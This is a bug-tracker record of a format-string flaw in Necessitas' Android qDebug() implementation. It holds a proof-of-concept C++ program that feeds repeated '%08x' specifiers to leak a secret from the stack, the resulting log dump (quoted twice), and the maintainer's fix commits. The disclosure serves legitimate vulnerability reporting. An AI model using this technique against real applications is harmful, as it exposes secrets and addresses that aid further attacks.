Summary: | Segfault/arbitrary code execution attack available via improper qDebug() implementation | ||
---|---|---|---|
Product: | [Unmaintained] Necessitas | Reporter: | jenna <giantpune> |
Component: | Android Qt4 | Assignee: | BogDan Vatra <bogdan> |
Status: | RESOLVED FIXED | ||
Severity: | crash | ||
Priority: | HI | ||
Version: | alpha4 | ||
Target Milestone: | Alpha 4 | ||
Platform: | Android | ||
OS: | Android 4.x | ||
Latest Commit: | http://commits.kde.org/android-qt/2ba92280f258222c1f13b81b62f2f85dd52abb65 | Version Fixed In: | |
Sentry Crash Report: |
Description
jenna
2012-09-09 08:54:57 UTC
As another example, assume you have a program which has some data that is supposed to be unknown like a credit card number or an application API key. If this information is stored in a stack variable, it is possible to exploit the qDebug() implementation to read that information from the stack. void ProcessYourOrder( const char *ccNumber, const QByteArray &someMessage ) { char stackvariable[ 0x10 ]; if( !ccNumber ) { return; } memcpy( stackvariable, ccNumber, 0x10 ); // do something here with the super secret number QByteArray something( stackvariable, sizeof( stackvariable ) ); // .... // now print an innocent message qDebug() << "The message is:" << someMessage; } int main(int argc, char *argv[]) { qDebug() << "main() is at" << ::hex << (quint32)&main; qDebug() << "ProcessYourOrder() is at" << ::hex << (quint32)&ProcessYourOrder; char mySecretNumber[] = { 0x12, 0x34, 0xab, 0xcd, 0x89, 0x55, 0x44, 0x33, 0x00, 0x58, 0x68, 0x90, 0xff, 0xee, 0xcc, 0xdd }; ProcessYourOrder( mySecretNumber, "This is an innocent message" ); ProcessYourOrder( mySecretNumber, "\n" "%08x %08x %08x %08x\n" "%08x %08x %08x %08x\n" "%08x %08x %08x %08x\n" "%08x %08x %08x %08x\n" "%08x %08x %08x %08x\n" "%08x %08x %08x %08x\n" "%08x %08x %08x %08x\n" "%08x %08x %08x %08x\n" "%08x %08x %08x %08x\n" "%08x %08x %08x %08x\n" "%08x %08x %08x %08x\n" "%08x %08x %08x %08x\n" "%08x %08x %08x %08x" ); exit( 0 ); return 0; } Using necessital alpha 4.1, this code produced the following output: I/Qt (19217): qt start W/Qt (19217): Can't set environment "" D/Qt (19217): main() is at 82002b55 D/Qt (19217): ProcessYourOrder() is at 82002add D/Qt (19217): The message is: "This is an innocent message" D/Qt (19217): The message is: " D/Qt (19217): 00000000 00000000 001e4278 00000000 D/Qt (19217): 82002a03 44ed8e60 001e4268 afd4d648 D/Qt (19217): 44ed8ea0 81364224 82002b23 44ed8ea0 D/Qt (19217): 001f9998 001f99c0 cdab3412 33445589 D/Qt (19217): 90685800 ddcceeff 8a80445c 44ed8e98 D/Qt (19217): 44ed8e98 00000004 82002c0b 81364224 D/Qt (19217): 00000004 000225ce 001e3e28 001fa830 D/Qt (19217): 001fa830 001fa830 cdab3412 33445589 D/Qt (19217): 90685800 ddcceeff 8a80445c 001e3e10 D/Qt (19217): 81341c81 00000000 00000000 00000000 D/Qt (19217): 00000000 44ed8f00 44ed8f00 81341c19 D/Qt (19217): 00000000 00000078 81341c19 00000000 D/Qt (19217): afd119b8 44ed8f00 001f9958 afd38028" You can see the contents of mySecretNumber being read from the stack and output through the log output (byte order is reversed due to architecture, it starts about 0x88 bytes into the spew). Also in the output are function return addresses which can be used to map symbols at runtime. Git commit 2ba92280f258222c1f13b81b62f2f85dd52abb65 by BogDan Vatra. Committed on 10/09/2012 at 19:50. Pushed by vatra into branch 'alpha4'. Partially fix qDebug() implementation. qDebug()<< "hello %08x %08x %08x %08x ..."; won't crash anymore. M +5 -5 src/corelib/global/qglobal.cpp http://commits.kde.org/android-qt/2ba92280f258222c1f13b81b62f2f85dd52abb65 I could fix only this one. Please report the previous one to qt-project because is not related to Android (it will crash on your desktop too). (In reply to comment #1) > As another example, assume you have a program which has some data that is > supposed to be unknown like a credit card number or an application API key. > If this information is stored in a stack variable, it is possible to exploit > the qDebug() implementation to read that information from the stack. > > > void ProcessYourOrder( const char *ccNumber, const QByteArray &someMessage ) > { > char stackvariable[ 0x10 ]; > if( !ccNumber ) > { > return; > } > > memcpy( stackvariable, ccNumber, 0x10 ); > > // do something here with the super secret number > QByteArray something( stackvariable, sizeof( stackvariable ) ); > // .... > > > // now print an innocent message > qDebug() << "The message is:" << someMessage; > } > > int main(int argc, char *argv[]) > { > qDebug() << "main() is at" << ::hex << (quint32)&main; > qDebug() << "ProcessYourOrder() is at" << ::hex << > (quint32)&ProcessYourOrder; > > char mySecretNumber[] = > { > 0x12, 0x34, 0xab, 0xcd, 0x89, 0x55, 0x44, 0x33, 0x00, 0x58, 0x68, > 0x90, 0xff, 0xee, 0xcc, 0xdd > }; > > ProcessYourOrder( mySecretNumber, "This is an innocent message" ); > ProcessYourOrder( mySecretNumber, "\n" > "%08x %08x %08x %08x\n" > "%08x %08x %08x %08x\n" > "%08x %08x %08x %08x\n" > "%08x %08x %08x %08x\n" > "%08x %08x %08x %08x\n" > "%08x %08x %08x %08x\n" > "%08x %08x %08x %08x\n" > "%08x %08x %08x %08x\n" > "%08x %08x %08x %08x\n" > "%08x %08x %08x %08x\n" > "%08x %08x %08x %08x\n" > "%08x %08x %08x %08x\n" > "%08x %08x %08x %08x" ); > > exit( 0 ); > return 0; > } > > Using necessital alpha 4.1, this code produced the following output: > I/Qt (19217): qt start > W/Qt (19217): Can't set environment "" > D/Qt (19217): main() is at 82002b55 > D/Qt (19217): ProcessYourOrder() is at 82002add > D/Qt (19217): The message is: "This is an innocent message" > D/Qt (19217): The message is: " > D/Qt (19217): 00000000 00000000 001e4278 00000000 > D/Qt (19217): 82002a03 44ed8e60 001e4268 afd4d648 > D/Qt (19217): 44ed8ea0 81364224 82002b23 44ed8ea0 > D/Qt (19217): 001f9998 001f99c0 cdab3412 33445589 > D/Qt (19217): 90685800 ddcceeff 8a80445c 44ed8e98 > D/Qt (19217): 44ed8e98 00000004 82002c0b 81364224 > D/Qt (19217): 00000004 000225ce 001e3e28 001fa830 > D/Qt (19217): 001fa830 001fa830 cdab3412 33445589 > D/Qt (19217): 90685800 ddcceeff 8a80445c 001e3e10 > D/Qt (19217): 81341c81 00000000 00000000 00000000 > D/Qt (19217): 00000000 44ed8f00 44ed8f00 81341c19 > D/Qt (19217): 00000000 00000078 81341c19 00000000 > D/Qt (19217): afd119b8 44ed8f00 001f9958 afd38028" > > You can see the contents of mySecretNumber being read from the stack and > output through the log output (byte order is reversed due to architecture, > it starts about 0x88 bytes into the spew). Also in the output are function > return addresses which can be used to map symbols at runtime. Thanks for the attention :) . I think there is still a better way to implement this. Necessitas is doing __android_log_print(ANDROID_LOG_DEBUG,"Qt", "%s", buf); I think a better way to handle it would be to use the log function that goesn't do anything at all with any printf-style arguements - __android_log_write( ANDROID_LOG_DEBUG,"Qt", buf ); This is more of an optimization now than anything else. The function that parses for format arguments is copying the log output 1 byte at a time from your buffer to some internal buffer and looking at each byte to compare it for things like if it is NULL. Then they process the entire string again, one byte at a time and comparing each byte as that data is sent out to the log. Using __android_log_write(), it will skip that first processing where the entire log line is needlessly copied to another buffer. This is like the different between puts() and printf(). Git commit 3453ab340b9a430a1c6fd3a0154cc65544004111 by BogDan Vatra. Committed on 11/09/2012 at 20:08. Pushed by vatra into branch 'alpha4'. Use __android_log_write insead of __android_log_print M +5 -5 src/corelib/global/qglobal.cpp http://commits.kde.org/android-qt/3453ab340b9a430a1c6fd3a0154cc65544004111 |